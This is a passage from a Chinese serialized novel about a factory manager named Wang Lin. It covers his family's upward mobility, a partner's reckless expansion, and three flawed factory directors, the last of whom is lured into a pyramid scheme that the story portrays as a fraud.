有了自己的房子，夫妻俩干得更起劲儿了。王军在新陶公司一待就是二十年，从装配工到班组长，再到车间副主任，带出的十几个徒弟里，有人后来也成了车间主任，见了他仍恭恭敬敬地喊“军哥”。 改荣也在外贸企业扎下了根。她性子稳、肯琢磨，慢慢摸透了不同玻璃的特性，火候把控得精准，烤出的花纹整齐鲜亮，成了车间的质量标兵。后来企业调整生产线，不少老工人因跟不上新技术下岗，改荣却凭着过硬的手艺被留了下来，一直干到退休。 最让王霖宽心的是王安。这孩子打小就懂事，知道父母不易，学习上从不用人催。每天放学回家，先帮着母亲做饭、收拾家务，等忙完了，才坐在灯下写作业，常常写到深夜。王霖偶尔去家里，翻一翻他的作业本，发现这孩子理科格外好，尤其是物理，解题步骤写得清清楚楚。 2016年，王安回老家参加高考。成绩出来那天，王军给王霖打电话，声音绷得发紧，带着抑制不住的颤：“哥……安安……580分。” 王安最终被东北大学录取，一所985院校。录取通知书寄到那天，王军把通知书摊在桌上，改荣用袖口一遍遍地擦，却越擦越湿。夫妻俩守着那张纸坐了一夜，屋里的灯，和当年拿到房钥匙时一样亮。王家，总算出了个大学生。 四年后，王安大学毕业，去了哈尔滨一所重点高中当物理老师。工作没多久，和一位同为教师、陕西师范大学毕业的姑娘成了家，后来添了个女儿，取名王慧。 他想，这便是他要还的“债”——不是冷冰冰的钱财，是给家人一个走出故土的机会，一份看得见的希望。 如今，王安在哈尔滨安了家，有房有车，女儿聪明伶俐。日子过得平淡又踏实。 王霖常去弟弟家吃饭，看着一家人围坐在桌前，碗筷碰撞声里满是暖意，便觉得这些年所有的奔波与辛苦，都值了。 他从矿区走出来，不仅改写了自己的人生，也拉着弟弟一家，走出了另一条路。 而这，不过是个开始。 十三、柳长青的理想主义扩张 公司进入第三年，账上已经积累了二千多万资金。王霖开始考虑股份制改造——他想把公司做得更规范，给核心员工股份，让大家真正成为企业的主人。 他专门去上海参加了一个“中小企业股份制改造”培训班，学了一周。回来时带了一大堆资料，准备在公司推行。 但柳长青有别的想法。 一个周日的下午，柳长青把王霖叫到办公室。桌上摊着一张中国地图，上面用红笔圈了好几个地方。 “王霖，新陶公司已经稳定了，我们可以考虑扩张了。”柳长青的眼睛里闪着理想主义的光芒，“我考察了几个项目，你看——” 他指着地图：“临沂有个小型炼钢厂要转让，设备还不错，价格合适。徐州有个陶瓷厂，快倒闭了，但厂房和土地值钱。还有临沂下面这个县，有个广场砖项目，政府支持……” 王霖心里一紧：“柳总，我们做模具做得好好的，为什么要跨行业？炼钢、陶瓷、广场砖，这些我们都不懂啊。” “鸡蛋不能放在一个篮子里。”柳长青说，“建筑陶瓷模具虽然赚钱，但市场容量有限。我们要多元化发展，打造一个产业集团。” “可是……”王霖想说什么，但被柳长青打断了。 “我知道你担心。”柳长青走到窗前，看着外面的厂区，“但商业就是这样，不进则退。我在大学教企业管理时，研究过很多企业案例。那些成功的企业，都是在主业稳定后，适时进行多元化扩张。” 他转过身，眼神坚定：“你放心，新陶公司还是我们的根基，我会继续投入的。这些新项目，我会亲自抓，不会影响这里的运营。” 王霖知道劝不住。柳长青骨子里有学者的理想主义，也有企业家的冒险精神。这是他成功的原因——敢想敢干，不拘一格。但也可能成为失败的原因——摊子铺得太大，精力分散。 接下来的两年，新陶公司成了“救火队”。 临沂的炼钢厂接手后才发现，设备老化严重，环保不达标，要改造需要大笔资金。柳长青从新陶调了五百万过去。 徐州的陶瓷厂更麻烦——工人要安置，债务要处理，市场要开拓。柳长青又从新陶调了三百万，还调了五个管理骨干过去。 广场砖项目看起来简单，但竞争激烈，价格战打得厉害。做了半年，亏了二百多万。 王霖像个消防员，到处灭火。新陶公司赚的钱，源源不断地流向这些新项目。股份制改造的事情一拖再拖，最后不了了之。 但王霖没有抱怨。他知道，这是创业的代价——你要享受成功的喜悦，也要承担扩张的风险。柳长青是他的引路人，是他的合伙人，他必须支持。 只是夜深人静时，他会站在办公室窗前，看着新陶公司厂区的灯火。这里的一砖一瓦，一机一床，都凝聚着他的心血。这里有他的梦想，有他的责任，有他半生的债。 他想起父亲临终前的话：“霖子，人这辈子就是还债。还父母的养育债，还朋友的帮助债，还社会的机会债。” 他现在明白了，自己欠柳长青的知遇之恩，欠工人们的信任之托，欠这个时代的机遇之债。这些债，要用一生来还。 而还债的方式，就是把新陶公司做好，让它长久地活下去，让跟着他的人有饭吃、有前途。 电话响了，是柳长青从临沂打来的：“王霖，炼钢厂这边又需要一笔资金……” “多少？” “三百万。” 王霖看着财务部刚送来的报表——新陶公司这个月的利润正好三百万。 “好，我安排。” 挂掉电话，他继续站在窗前。夜色中的厂区安静而有序，明天，机器又会轰鸣，工人又会忙碌，模具又会一套套生产出来。 只要新陶还在，希望就在。 债还没还完，路还要继续走。 但至少今夜，看着这片自己亲手建立起来的产业，他可以睡个安稳觉了。 （第十一章·百川归流 完全文16280字） 22. 《半生债》中卷 第十二章·潜流暗涌 《半生债》中卷第十二章·潜流暗涌 一、注册会计师 2000年的冬天来得猝不及防，十一月初的东海，便落下了本年度第一场雪。细碎的雪粒敲打着窗棂，将天地间染得一片朦胧，也为年末的奔波添了几分寒凉。 成绩公布在十二月末，那天王霖正埋首于新陶公司二楼办公室的年终报表中，指尖划过密密麻麻的数字，鼻尖萦绕着旧纸张与墨水混合的味道。窗外的雪沫子慢悠悠地飘着，手机忽然在桌角震动起来，他抬手划开屏幕，一条短信跃入眼帘： 【中国注册会计师协会】王霖考生：您2000年度注册会计师全国统一考试成绩如下：会计78分，审计71分，财务成本管理68分，经济法63分，税法63分。恭喜您通过全部科目考试。 没有预想中的狂喜，王霖平静地放下手机，目光重新落回报表。指尖抚过“递延税款”“合并抵消”“现金流量”这些曾让他反复钻研的科目，此刻竟如庖丁解牛般清晰通透——那些熬过的深夜、啃过的厚书、演算过的草稿，终究在这一刻有了回响。 这已是他第三次走进注会考场。前两次，他坐在省财政厅肃穆的考室里，周遭皆是朝气蓬勃的应届大学生，唯有他这个三十余岁的中年人，在一群青涩面孔中埋首疾书。第一次入场时，监考老师特意多打量了两眼他的准考证，眼神里藏着几分疑惑与讶异。那时的他，一边要应对省经委按部就班的工作，一边要挤出时间攻克专业难题，压力如潮水般裹挟着前行，却从未想过放弃。 桌上的固定电话突然响起，尖锐的铃声打破了办公室的静谧，是柳长青从临沂打来的，语气里带着难掩的急促：“王霖，炼钢厂这边的环评报告卡壳了，得再投五十万搞改造。新陶这个月的利润，先转过来应急。” 王霖眉头微蹙，指尖无意识地叩了叩桌面：“柳总，新陶这个月净利润才六十多万，全转过去，我们这边的资金链就绷得太紧了，原材料采购和工人工资都会受影响。” “先顾着炼钢厂这边，救急要紧。等我理顺了这边的摊子，再回头补新陶的缺口。”柳长青的语气不容置疑，随即匆匆挂断了电话。 王霖望着窗外，雪下得更密了，车间的屋顶已覆上一层薄薄的白霜，机器的轰鸣声在风雪中隐约传来。他忽然想起在省经委的日子，朝九晚五，安稳妥帖，那种无需担惊受怕的安全感，此刻竟有些遥远。但他心里清楚，自己早已回不去了——更准确地说，是从未真正想过回去。那条安稳的路，装不下他骨子里的韧劲与不甘。 三天后，柳长青从临沂赶回东海，一进门就给了王霖一个消息：“我给你找了个厂长，洪都机械厂的车间主任，我大学同学推荐的，叫吕顺平。懂生产，能镇住场子。” 2001年春节的余温尚未散尽，正月十五的鞭炮火药味还残留在空气里，高新区的梧桐树依旧枯枝嶙峋，吕顺平便踏着初春的寒意，走进了新陶公司的大门。 二、第一任厂长：吕顺平的聪明 五十出头的吕顺平，身着一件熨烫得毫无褶皱的灰色夹克，头发梳得一丝不苟，连皮鞋都擦得锃亮，映出人影。王霖第一眼便看出，这是个极度讲究细节的人——而制造业，最忌粗疏，恰恰缺的就是对细节的极致把控。 面试设在二楼会议室，吕顺平从黑色公文包里拿出一个笔记本，翻开的瞬间，密密麻麻的字迹与数据映入眼帘。“来之前，我托朋友把新陶的情况摸了个底。”他指尖点着笔记本上的数字，语气笃定，“建筑陶瓷模具这行，国内能做到精尖的不超过五家，你们目前能将模具使用寿命做到十二万次，已经站稳了脚跟。但只要优化热处理工艺，我有把握把寿命提升到十五万次。” 他接着直指核心：“你们现在的废品率是8%，问题根源就在陶瓷衬板的烧结环节，温度曲线控制得不够精确，差之毫厘，谬以千里。” 王霖心中一动。这话精准戳中了新陶生产的痛点，显然不是来混资历、熬日子的等闲之辈。柳长青在一旁听得频频点头，当场拍板：“老吕，生产这一摊，就全权交给你了。” 吕顺平上任后的第一把火，直接烧在了车间现场。他站在杂乱的车间中央，目光扫过堆放在通道旁的半成品、随意摆放的工具，声音掷地有声：“给我一个月时间，这里会彻底变个样子。” 他果然说到做到。第一周，便重新规划了车间布局，用黄色地标线将原料区、加工区、装配区、成品区划分得泾渭分明，每个区域都挂上醒目的标识牌，货架上整齐贴着物料卡，标明规格、数量与用途。 工人们起初颇有微词，私下抱怨：“吕厂长，我们是来干活挣钱的，又不是来搞卫生的，整这些花架子有啥用？” 吕顺平并未动怒，而是拿起一把游标卡尺，走到一个工人面前：“这个工具，用完之后该放哪里？”不等对方回答，他便径直走到新设的工具柜前，拉开第三层抽屉，“这里才是它的位置。放错地方，下次再用就要翻来覆去找半天，这五分钟，够你打磨两个工件了。” 他当场算了一笔账：一百个工人，每人每天因找工具浪费五分钟，一天就是五百分钟，折合下来近八个小时。一个月累积下来，相当于少了一个工人干二十天的活，浪费的不仅是时间，更是真金白银的效益。 冰冷的数字摆在眼前，工人们再无抱怨，渐渐开始配合整改。短短四周时间，车间焕然一新，不仅环境整洁有序，产量也提升了12%，废品率更是从8%降至5%。到了第二个月，客户投诉量直接减少了一半。 柳长青从临沂回来视察，看到车间的变化，拍着吕顺平的肩膀赞不绝口：“老吕，干得漂亮！有你在，我放心。” 王霖也暗自欣慰。有了吕顺平坐镇生产，他终于能腾出手来专注于财务管控与市场拓展，新陶的运营渐渐步入良性循环。但这份安稳并未持续太久，一些细微的异常，开始在暗处浮现。 第一次端倪出现在采购环节。采购部老李拿着一份钢材报价单找到王霖，面露难色：“王总，吕厂长推荐了一家钢材供应商，报价比市场价高出6个百分点，我不敢擅自做主。” 王霖立刻调取了其他供应商的报价，对比之下，差价确实明显。他找到吕顺平核实，对方神色坦然，不慌不忙地解释：“这家供应商的材料质量够稳，公差控制得极严。表面看价格高了，但加工时能省刀头，刀具寿命能延长20%，废品率还能再降2个百分点，综合算下来，成本反而更低。” 他随即拿出实测数据佐证，一番核算下来，确实如他所说，并未吃亏。王霖虽心有疑虑，却也找不出反驳的理由，只能默许。 第二次异常发生在设备采购上。车间计划添置一台平面磨床，预算核定为八万元，吕顺平却推荐了一个台湾品牌，报价九万五。王霖私下到市场调研，同规格的国产品牌，七万就能拿下。 面对质疑，吕顺平依旧振振有词：“设备这东西，一分钱一分货。这台台湾磨床精度高、耐用性强，能保证加工质量；国产的虽然便宜，但精度不够，还容易出故障，一旦停机维修，耽误的生产进度可不是几千块能补回来的。” 最终，设备以九万元的价格成交。签合同时，王霖特意留意了供应商名称——东海精机设备有限公司，这几个字被他悄悄记在了心里。 一个月后，王霖去税务局办事，与另一家企业的财务人员闲聊时，对方无意间提起：“你们新陶是不是刚在东海精机买了台磨床？” 王霖心头一凛，不动声色地反问：“你怎么知道？” 对方压低声音，语气带着几分了然：“吕顺平的小舅子就在那家公司当销售，我们之前打过交道，熟得很。” 王霖淡淡应了一声“哦”，心里却跟明镜似的。他暗自告诫自己，水至清则无鱼，只要不影响公司利益，些许私心尚可容忍。 这般相安无事过了一年，2002年春天，吕顺平突然提出了辞职。那是一个周一的早晨，他走进王霖的办公室，递上一份写得工工整整的辞职报告，语气带着几分歉意：“王总，不好意思，家里出了点事，得回去料理一段时间。” 王霖望着他躲闪的眼神，瞬间便明白了——这绝非临时起意，而是早有打算。“找到新路了？”他直截了当地问。 吕顺平犹豫了片刻，终究还是坦诚相告：“跟一个朋友合伙，做液体肥料，用的是澳大利亚的技术，据说前景不错。” 王霖没有多问，在辞职报告上签下了名字：“祝你顺利。” 临走前，吕顺平忽然停下脚步，压低声音补了一句：“王总，有句话不知当讲不当讲。新陶现在势头正好，但柳总那边扩张得太快了，炼钢厂、陶瓷厂、广场砖厂……摊子铺得太大，资金和精力都跟不上。您身在其中，得多留个心眼。” 这话恰恰说到了王霖的心坎里。这些日子，他看着柳长青四处布局，早已忧心忡忡，只是不便多言。他微微点头：“谢谢提醒。” 吕顺平走后，王霖偶尔会从朋友口中听到他的消息。那所谓的“澳洲液肥”，确实采用了澳大利亚技术，但核心配方被外方牢牢掌控，吕顺平他们不过是做些稀释分装的活儿，赚点辛苦钱，远没有预想中风光。王霖暗自唏嘘：这个人聪明，有能力，却也因这份聪明，总想着走捷径，最终还是受制于人。 三、第二任厂长：爱眨眼的光闵 吕顺平的离职，王霖提了技术部长光闵接替厂长。 这个东山大学机械系毕业的高材生，是柳长青三年前亲自招进来的。彼时柳长青就曾说过：“我们不能只做代工，要拥有自己的研发能力，光闵就是承载这份期望的人。”这些年，光闵撰写的技术报告逻辑严密，讲解设计方案时头头是道，在技术研发上确实有两把刷子。 可王霖对他，始终有着一丝隐隐的不安。那是一双过于活泛的眼睛，说话时总是忽闪忽闪地眨巴，藏着太多算计与不确定，少了几分技术人员应有的沉稳与踏实。 柳长青却对光闵十分赏识，拍着王霖的肩膀说：“知识分子有想法、有冲劲，就该给年轻人机会。生产管理也需要新鲜血液，让他试试。” 2001年夏初，光闵正式走马上任。上任第一天，他便在车间召开了动员会，站在工人们面前，挥舞着手臂，语气激昂：“我们要改革！要创新！要摆脱传统制造的束缚，向智能制造转型！” 台下的工人们面面相觑，“智能制造”“转型”这些词，对他们而言太过遥远晦涩，听得云里雾里，根本摸不着头脑。 光闵全然不顾工人们的茫然，继续滔滔不绝：“我计划引进MES生产执行系统，实现生产过程全可视化；还要搭建ERP管理系统，打通销售、生产、采购全流程，实现数字化管理……” 王霖站在台下，眉头越皱越紧。新陶目前的规模与人员素质，根本支撑不起这般“高大上”的规划，光闵的想法，未免太过脱离实际，急于求成。 不出所料，麻烦很快接踵而至。光闵上任后的第一件事，便是强行调整生产线布局，将沿用两年、运转顺畅的U型生产线改成了直线式，理由是“优化物流路径，提高流转效率”。可改造完成后，工序衔接频频出问题，半成品在各环节堆积如山，生产效率不升反降。 紧接着，他又推行“看板管理”，要求每个工位悬挂小白板，工人需随时记录产量、质量问题与设备状态。想法虽好，却忽略了实际情况——车间工人大多文化程度不高，有的甚至大字不识几个，别说随时记录，就连看懂看板上的内容都费劲，最后这些白板全都成了挂在墙上的摆设，徒增笑料。 最致命的，是他对质量控制标准的擅自修改。为了追求所谓的“效率”，光闵私自放宽了部分非关键尺寸的公差，还在管理层会议上说：“这些小偏差肉眼都看不出来，不影响实际使用，客户根本不会在意。” 可客户偏偏在意。第一批按新标准生产的模具发往佛山老客户后，仅仅三天，对方的投诉电话便怒气冲冲地打了过来：“王总，你们这批模具到底怎么回事？压出来的瓷砖尺寸偏差太大，根本没法用！你们这是砸自己的招牌！” 王霖立刻赶到车间，远远就看到光闵正对着质检组长发脾气，语气强硬：“这点小偏差算什么？不影响使用！分明是客户故意挑剔，想压价！” “光厂长。”王霖的声音打断了争执，语气带着不容置疑的严肃，“客户明确说没法用，这就不是小问题。” 光闵转过身，眼神快速眨了几下，试图辩解：“王总，这是行业惯例，就算是意大利的进口模具，也存在轻微公差……” “但我们不是意大利，我们的口碑，靠的是每一件产品的精准与可靠。”王霖打断他，“立刻组织全员全检，所有不合格产品全部返工，绝不能让残次品流入市场。” 那批货的返工整整花了三天时间，直接损失五万余元。在随后的管理会议上，王霖罕见地发了火：“质量是新陶的生命线，谁要是敢拿生命线开玩笑，谁就离开这里！” 光闵低着头，眼睛眨得更快了，脸上满是愧疚，却看不出丝毫悔改之意。 接下来的几个月，车间状况愈发糟糕。光闵每天看似忙得脚不沾地，天天加班到深夜，可车间的秩序却越来越乱——生产计划朝令夕改，物料供应频频脱节，质量事故更是屡禁不止。车间主任频频找王霖抱怨：“光厂长今天一个主意，明天一个想法，我们根本跟不上节奏，工人都快乱了套。” 更让王霖头疼的是，光闵深谙柳长青的心思，频频拿着各种“战略规划”“发展蓝图”去找柳长青汇报，把“数字化”“智能化”挂在嘴边，说得天花乱坠。柳长青本就热衷于扩张与创新，对这套说辞十分受用，屡屡在王霖面前为光闵说话。 2001年10月，矛盾彻底爆发。柳长青从临沂回来，把王霖叫到办公室，开门见山：“光闵在你这儿，是不是不太适应？我看他最近情绪不高。” 王霖实话实说：“他理论功底扎实，但缺乏一线生产经验，实践能力太弱，根本不适合管生产。再这样下去，新陶的生产根基都会被动摇。” 柳长青沉默片刻，缓缓说道：“那这样，让他跟我去临沂，炼钢厂那边正缺懂管理、有想法的人，让他去那边折腾折腾，或许能发挥作用。” 王霖心中一松，连忙应道：“好。” 光闵在新陶厂长的位置上只待了七个月，便草草收场，跟着柳长青去了临沂。后来王霖听说，他到了炼钢厂后，依旧故我，搞了一套所谓的“现代化管理制度”，严苛的要求与不切实际的规定，把厂里的老工人管得怨声载道。还没等他的“改革”见到成效，国家清理整顿小炼钢厂的政策便正式出台，柳长青的炼钢厂尚未投产，便胎死腹中。 光闵也随之消失在众人的视野里。王霖偶尔会想起他那双忽闪的眼睛，心里只剩一声叹息：这个人不坏，有学识，有抱负，只是眼高手低，脱离实际，终究是找错了自己的位置。 四、第三任厂长：麻将桌与传销梦 光闵离职后，车间暂时由经验丰富的车间主任代管。王霖这次打定主意，要找一个截然不同的人——一个从一线摸爬滚打出来，懂技术、知人心，能让工人们真正信服的实干家。他的目光，最终落在了磨床操作工张国力身上。 这个四川汉子三年前来到新陶，背着一个褪色的军绿色背包，袖口磨得发白，操着浓重的川音，怯生生地问：“老板，要人不？我会开磨床，手艺过硬。” 王霖当时便让他试活。张国力走到那台台湾产磨床前，没有急于开机，而是先用手轻轻抚摸导轨，感受平整度，又蹲下身子，侧耳倾听主轴空转的声音，片刻后才挽起袖口，开始校准调试。当砂轮缓缓接触工件的瞬间，细密均匀的金色火花如雨丝般飞溅——那是日积月累的手感，是二十万次实操才能练就的精准。 “以前在哪干？”王霖问道。 “广东，在模具厂开了八年磨床。”张国力抹了把额头的汗，笑容憨厚，“老板欠薪跑了，没办法，只能回老家这边找活干。” 王霖当场便留下了他。三年来，张国力凭借精湛的手艺，成了磨床组的灵魂人物。那些公差要求严苛到0.005毫米的精密模具件，别的师傅要反复调试数次才能达标，他却能一次装夹到位，准确率近乎百分百。更难得的是，他干活有种天生的节奏感，不急不躁，每一个动作都恰到好处，既保证质量，又不耽误进度。 2001年11月，王霖把张国力叫到了办公室，开门见山：“想不想当厂长？” 张国力一愣，随即咧嘴笑了，露出被烟熏黄的牙齿，连连摆手：“王总，您莫开玩笑了。我就是个开磨床的粗人，没读过多少书，哪里懂管理？干不了这个。” “我看你能行。”王霖点了支烟，语气笃定，“管理不一定非要懂理论，懂技术、懂工人、懂生产，比什么都重要。但我有个条件，你得先培养个徒弟，把你那身绝活传下去，不能断了根。” “那简单！”张国力搓了搓手，眼睛亮了起来，“我婆娘杨梅就在老家，手巧得很，学东西快，我教她肯定没问题。” 一个月后，杨梅从四川老家赶来。她个子瘦小，说话轻声细语，性格温婉，眼神却如山泉般清亮，透着一股韧劲。张国力手把手地教她认卡尺、调机床、看火花颜色判断温度与精度，杨梅悟性极高，又肯下苦功，短短两个月，便已能独立操作磨床，而且比很多男工更细心，成品合格率极高。 张国力正式上任那天，特意穿了件新买的衬衫，却依旧敞着领口，不好意思地说：“系着扣子憋得慌，还是这样自在。”他的管理方式，更是让所有人都大跌眼镜。 上任第一周，他没有召集班组长在会议室开正式会议，而是把人都请到了自己租的平房院子里。梧桐树下支起一张折叠桌，桌上没有文件报表，只有一副洗得发亮的麻将。“来来来，都坐下，打几圈。”张国力哗啦啦地洗着牌，麻将碰撞的清脆声响里，满是烟火气，“边耍边摆龙门阵，有啥话都敞开说。” 班组长们面面相觑，却也不敢违逆厂长的意思，纷纷坐下。牌局一开，张国力一边摸牌，一边看似随意地问道：“老李，你们组那个小张，最近咋个焉巴巴的？干活都没力气。” 老李叹了口气：“他媳妇快生了，医院要交五千块住院押金，他手头紧，正愁着呢。” 张国力随手打出一张二筒，语气干脆：“明天你让他来找我，我先支两千给他。剩下的三千，我跟王总申请困难补助，不能让兄弟们家里有事没人管。” 接着，他又转向另一个班组长：“老王，你们那台铣床最近老是‘鬼叫唤’，毛病找着没？” “还没呢，估计是传感器坏了，找电工看了也没查出个所以然。” “明天我让电工老陈重点查，实在不行就换个新的。”张国力眉头一皱，“机床耽误一天，就少做几十套模子，耗不起。” 一圈麻将打下来，车间里的大小问题摸清了七八成，解决办法也随之有了雏形。更重要的是，班组长们觉得这个厂长没有架子，不装腔作势，愿意跟他掏心窝子说话。此后，麻将桌便成了张国力的“临时会议室”，很多生产难题、工人矛盾，都在牌局的欢声笑语中悄然化解。 张国力的第二招，是“老乡带老乡”。他毫不避讳地介绍了十几个四川老乡进厂，安排在各个岗位。有人私下提醒王霖：“王总，张厂长这样搞，容易形成四川小团体，到时候不好管理。” 王霖暗中观察了半个月，发现自己的担心是多余的。张国力很懂平衡之术，他将四川人、东北人、山东人打散混编在各个班组，让不同地域的工人互相学习手艺、互相监督质量。以前车间里隐约存在的“四川帮”“东北帮”暗中较劲的情况，反而因为这种融合渐渐消散，工人们齐心协力，干劲十足。 “只要活路干得漂亮，哪里人都一样。”张国力对此说得实在，“我们四川人能吃苦，东北人干活爽快，山东人实在，各有各的好，凑到一起就能干大事。” 实打实的成效摆在眼前：车间秩序井然，产品质量稳定，产量较之前又提升了一截。工人们打心底里服张国力——不仅因为他手艺过硬，懂每道工序的难处，能替工人说话；更因为他仗义疏财，谁家有急事，他总是第一个伸出援手，把工人当兄弟看待。 王霖心中暗喜，觉得这次总算找对了人，新陶的生产总算能稳定下来了。可他没料到，平静的表象之下，隐患正悄然滋生，一步步吞噬着眼前的安稳。 张国力嗜赌，起初召集骨干打麻将，还能借着牌局谈工作，后来渐渐变了味，成了纯粹的赌钱消遣。有时牌局能打到后半夜，第二天上班时，他自己眼袋浮肿、哈欠连天，连带几个参与打牌的骨干也精神萎靡，影响了生产效率。 王霖察觉后，特意提醒过他几次：“张厂长，打牌消遣可以，但不能耽误工作，更要注意厂长的身份影响。” “晓得了晓得了！”张国力嘴上连连应着，转头却依旧我行我素，丝毫没有收敛。 更让王霖忧心的是，张国力开始频繁跟工人们吹嘘一些所谓的“发财经”，嘴里满是“资本运作”“消费致富”“几何倍增”之类的词，都是王霖在财经教材里从未见过的概念，透着一股诡异的气息。 “王总，我跟您说，现在有个好门路，稳赚不赔！”有天收工后，张国力神秘兮兮地凑到王霖身边，语气兴奋，“成都那边搞的，投一笔钱，一年就能翻好几倍。我几个老乡都加入了，现在都在城里买了房、开上了车！” “什么项目？”王霖警惕地问道。 “一两句话说不清楚，反正就是投钱，然后发展下线，下线再发展下线，钱就像滚雪球一样，越滚越大。”张国力眨了眨眼，语气里满是蛊惑，“这不是传销，是国家暗中支持的新经济模式，叫‘连锁经营’，等以后公开了，我们这些早加入的，都是元老！” 王霖眉头紧锁，心里的不安愈发强烈：“这听起来就是传销，是违法的，你别被人骗了。” “不是不是！”张国力连连摆手，语气笃定，“我都考察过了，绝对靠谱！您就放心吧。” 王霖没有再劝说，只是心里那根弦，绷得越来越紧。他知道，张国力已经被所谓的“暴富神话”迷了心窍，多说无益。 转折发生在2002年4月。一个周一的早晨，往常总是提前半小时到车间巡线的张国力，直到八点半才敲开王霖的办公室门，手里拿着一个厚厚的信封。 “王总，我想辞职。”他语气诚恳，脸上却难掩一丝急切。 王霖抬起头，目光平静地看着他：“干得不顺心？” “不是不是。”张国力连忙摆手，笑容憨厚，“成都那边有个大项目，我几个老乡已经搞起来了，特意喊我过去合伙，机会难得。我想……想去闯一闯，赚点大钱。” “想清楚了？” “想清楚了！”张国力从信封里抽出一叠签好字的文件，递到王霖面前，“这是我跟十七个兄弟的辞职报告，工资都算得清清楚楚，您过目。我们今天就走。” 王霖接过文件仔细翻看，每一份辞职报告都工工整整，附带的工资结算单详细列明了出勤天数、工资数额、加班费，签字栏上按着鲜红的手印。算下来，十七人的工资总计八万六千余元。 “这么多人跟你走？”王霖的语气里带着一丝讶异。 “都是自愿的，他们信得过我。”张国力语气坚定，“王总放心，工资我一分不少地带给他们，绝不让兄弟们吃亏。车间生产工作交接我也安排好了。请你放心绝不会耽误公司生产。” 王霖沉默了片刻，拿起笔，在审批单上签下了自己的名字。财务很快提取了现金，张国力当面点清，小心翼翼地装进一个黑色手提包，转身时，还不忘深深鞠了一躬：“王总，感谢您这几年的栽培。等我混出个样子，一定回来看您！” 他的背影消失在走廊尽头，从容而坚定，带着对暴富的憧憬，却不知前路是万丈深渊。 更让王霖意外的是，三个月后，张国力真的回来了——是以合作伙伴的身份。那天下午，王霖正在自己改造的花卉肥料厂调试设备，柳长青给他的那间仓库，已经被改造成了简易车间。手机突然响起，屏幕上跳动着“张国力”三个字，他按下接听键，对方兴奋的声音便传了过来：“王总！我在成都看到您的广告了！那个‘美洲液肥’花卉肥料，是不是您搞的？” “是我，刚起步，试着做一做。”王霖淡淡回应。 “太好了！”张国力的声音愈发激动，“成都这边花卉市场大得很，我专门考察过了，您这产品绝对有搞头！我想做成都的总代理，您看行不行？” 王霖有些意外，但转念一想，张国力在成都有人脉，或许能打开市场，便答应了。两人在电话里敲定了代理条件：张国力首批进货五吨，缴纳押金两万元，货款待销售后结算。 合同签得十分顺利。张国力专程从成都赶来东海提货，依旧是那副爽快模样，两万元现金用报纸包着，往桌上一放：“王总，您信得过我，我就不会让您失望！” “信得过。”王霖点了点头。 张国力雇了一辆货车，将肥料拉回了成都。接下来的几个月，成都那边的回款十分准时，销量也稳步上升。王霖渐渐放下心来，觉得张国力或许是真的迷途知返，踏实做正经生意了。 可这份安心，终究是镜花水月。2002年国庆节前，一场盛大的“盛宴”，将所有的伪装撕得粉碎。 那天上午，三辆黑色奔驰S600缓缓驶入新陶公司厂区，在办公楼前一字排开，气势十足。中间那辆车的车门打开，张国力走了下来——他变了，彻底变了。 一身藏青色意大利定制西装，剪裁得体，勾勒出挺拔的身形；头发梳得油亮，喷了发胶，一丝不苟；腕上戴着金光闪闪的劳力士手表，手指上套着一枚通透的翡翠戒指。跟在他身后的两个年轻人，同样西装革履，手持真皮公文包，神情恭敬，宛如保镖。 “王总！”张国力老远就伸出手，脸上的笑容灿烂得如同成都的太阳，快步走上前，紧紧握住王霖的手，“今晚我在锦江宾馆摆了宴，务必赏光！把公司所有管理人员都带上，我派车来接！” 当晚六点，三辆奔驰准时抵达新陶公司。王霖坐在第二辆车的后座，真皮座椅散发着淡淡的新车气味，司机是个二十出头的小伙子，话不多，开车却异常平稳。 锦江宾馆的宴会厅金碧辉煌，水晶灯折射出璀璨的光芒。三张直径三米的大圆桌铺着鲜红的桌布，每桌中央摆放着精致的鲜花，墙角堆着成箱的茅台、五粮液，气派十足。凉菜早已上齐，龙虾刺身、鲍鱼捞饭、葱烧海参……全是平日里难得一见的硬菜，彰显着主人的“成功”。 张国力端着酒杯站起身，全场瞬间安静下来。他目光扫过众人，声音洪亮，带着四川人特有的热情：“首先，我要敬王总一杯！没有王总当年的知遇之恩，就没有我张国力的今天！这杯我干了，您随意！” 话音未落，他便一仰脖，将杯中三两茅台一饮而尽，面不改色。 接着，他便开始炫耀自己在成都的“辉煌事业”。“我们搞的不是传统生意，是‘资本运作’，是国家暗中扶持的阳光工程！”他挥舞着手臂，手指上的翡翠戒指在灯光下闪着绿光，语气里满是蛊惑，“投六万九千八，两年后就能拿到一千零四十万！这不是做梦，是千真万确的财富机遇！” 满桌的人听得目瞪口呆，有人小声发问：“张厂长，这……这合法吗？” “当然合法！”张国力笑得自信满满，“只不过现在还在试点阶段，不能大张旗鼓。等试点成功，国家正式公开，我们这些早加入的，都是国家培养的中产阶级，都是功臣！” 他滔滔不绝地讲着“五级三阶制”“出局制”，声称“国家从海外引进这套模式，就是为了带动普通人致富”，满嘴晦涩的新名词，听得众人云里雾里，却又被那诱人的暴富神话勾得热血沸腾。 轮到王霖讲话时，他缓缓站起身，举起酒杯，语气沉稳而谨慎：“我祝贺国力在成都取得的‘成功’。每个人都有自己的人生选择，能找到适合自己的方向，是好事。但我还是要提醒一句——无论做什么，守法守规都是底线，千万别踩红线。” 掌声还算热烈，张国力眼眶泛红，又连干了三杯，语气激动：“王总教诲，我铭记在心！” 宴席一直持续到深夜十点。散场时，张国力给每个到场的经理都塞了一个红包，里面是两张崭新的百元大钞，笑着说：“一点心意，图个吉利！” 那晚，王霖彻夜未眠。张国力描绘的“成功”太过虚幻，来得太快、太炫目，像一座精心搭建的空中楼阁，看似华丽，实则一触即溃。更让他忧心的是，接下来的几个月里，厂里陆续有二十多个工人递交了辞职报告，清一色都是技术骨干。他们离职时，说辞如出一辙：“张厂长那边缺人，喊我们去帮忙，工资比这边高一半。” 王霖曾打电话给张国力核实，对方语气坦然：“王总您放心，我让他们做花卉肥料销售，都是正经工作。年轻人嘛，总想出去闯闯，多赚点钱。” 谎言终究经不起时间的考验。2003年春天，一个当初跟着张国力去成都的老师傅，偷偷回到了东海。他没有去新陶公司，而是直接敲开了王霖家的门。 开门的瞬间，王霖几乎认不出眼前的人——昔日精神饱满的老师傅，如今胡子拉碴，眼窝深陷，身上的西装皱得像咸菜干，袖口还脱了线，眼神里满是疲惫与绝望，与当初意气风发离开时判若两人。 “王总……”他声音颤抖，泪水在眼眶里打转，“我们被骗惨了……” “进来说。”王霖侧身让他进屋，给他倒了一杯温水。 